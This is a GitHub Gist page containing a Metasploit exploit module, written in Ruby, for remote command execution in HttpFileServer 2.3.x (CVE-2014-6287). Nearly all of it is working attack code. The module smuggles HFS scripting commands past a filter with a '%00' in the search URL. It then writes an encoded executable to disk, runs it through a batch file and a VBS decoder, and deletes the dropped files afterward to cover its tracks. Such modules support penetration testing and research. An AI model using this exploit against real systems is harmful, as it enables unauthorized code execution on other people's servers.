Last active
August 29, 2015 14:06
-
-
Save mfadzilr/6b8fbc3ce9ee89623585 to your computer and use it in GitHub Desktop.
HFS metasploit cmdtstager
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http//metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Reank = NormalRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::EXE | |
include Msf::Exploit::CmdStager | |
def initialize(info={}) | |
super(update_info(info, | |
'Name' => "HttpFileServer 2.3.x Remote Command Execution", | |
'Description' => %q{ | |
HFS is vulnerable to remote command execution attack due to a poor regex in the file | |
ParserLib.pas. This module exploit the HFS scripting commands by using '%00' to bypass | |
the filtering. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery | |
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module | |
], | |
'References' => | |
[ | |
['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], | |
['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'], | |
['CVE', '2014-6287'], | |
], | |
'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, | |
# Tested HFS 2.3b on Microsoft Windows XP [Version 5.1.2600] | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
[ 'Automatic', {} ], | |
], | |
'Privileged' => false, | |
'DefaultOptions' => | |
{ | |
#'InitialAutoRunScript' => 'migrate -f', | |
'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") | |
}, | |
'DisclosureDate' => "Sep 11 2014", | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptString.new('TARGETURI', [true, 'The path of the web application', '/']), | |
OptString.new('SAVE_PATH', [true, 'Target writable path, must end with \\. e.g c:\\path\\', 'c:\\']) | |
], self.class) | |
end | |
def check | |
res = send_request_raw({ | |
'method' => 'GET', | |
'uri' => '/' | |
}) | |
if res.headers['Server'] =~ /HFS 2\.3/ # added proper regex | |
return Exploit::CheckCode::Detected | |
else | |
return Exploit::CheckCode::Safe | |
end | |
end | |
def get_vbs_string(str) | |
vbs_str = "" | |
str.each_byte { |b| | |
vbs_str << "Chr(#{b})+" | |
} | |
return vbs_str.chomp("+") | |
end | |
def execute_cmdstager_begin(opts) | |
@fcounter = 100 | |
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder) | |
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded) | |
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded) | |
decoded_file = "#{@var_decoded}.exe" | |
encoded_file = "#{@var_encoded}.b64" | |
@cmd_list.each { |command| | |
command.gsub!("Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37)", get_vbs_string("#{datastore['SAVE_PATH']}")) | |
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) | |
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) | |
} | |
end | |
def execute_cmdstager_end(opts) | |
vbs_file = @var_decoder | |
exe_file = @var_decoded | |
b64_file = @var_encoded | |
merge_files = "cmd /q /c copy #{datastore['SAVE_PATH']}#{b64_file}.*.b64 #{datastore['SAVE_PATH']}#{b64_file}.b64\x0d\x0acmd /q /c copy #{datastore['SAVE_PATH']}#{vbs_file}.*.vbs #{datastore['SAVE_PATH']}#{vbs_file}.vbs" | |
batname = rand_text_alpha(rand(10)+5) | |
payloads = [ | |
"save|#{datastore['SAVE_PATH']}#{batname}.bat|#{merge_files}", # create merge file | |
"exec|#{datastore['SAVE_PATH']}#{batname}.bat", # execute merge file | |
"exec|wscript.exe //B //nologo #{datastore['SAVE_PATH']}#{vbs_file}.vbs", # execute vbs file | |
"delete|#{datastore['SAVE_PATH']}#{b64_file}*.b64", # delete all b64 file parts | |
"delete|#{datastore['SAVE_PATH']}#{batname}.bat", # delete all bat file parts | |
"delete|#{datastore['SAVE_PATH']}#{vbs_file}*.vbs", # delete all vbs file parts | |
] | |
payloads.each do |payload| | |
send_request_cgi({ | |
'method' => 'GET', | |
'uri' => "/?search=%00{.#{URI::encode(payload)}.}" | |
}) | |
end | |
end | |
def execute_command(cmd, opts = {}) | |
cmd_list = cmd.split(' & ') | |
cmd_list.each do |cmds| | |
if cmds =~ /^echo\ /i | |
@fcounter += 1 | |
filename = "#{cmds.split('>>')[1].split('.')[0]}.#{@fcounter}.#{cmds.split('>>')[1].split('.')[1]}" | |
content = "#{cmds.split('echo ')[1].split('>>')[0]}" | |
if !content.nil? | |
content.gsub!(/\ /, '%20') | |
content.gsub!(/\+/, '%2B') | |
content.gsub!(/\=/, '%3D') | |
end | |
send_request_cgi({ | |
'method' => 'GET', | |
'uri' => "/?search=%00{.save|#{filename}|#{content}%0d%0a.}" | |
}) | |
end | |
end | |
end | |
def exploit | |
execute_cmdstager({ :linemax => 1500, :temp => "#{datastore['SAVE_PATH']}" }) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment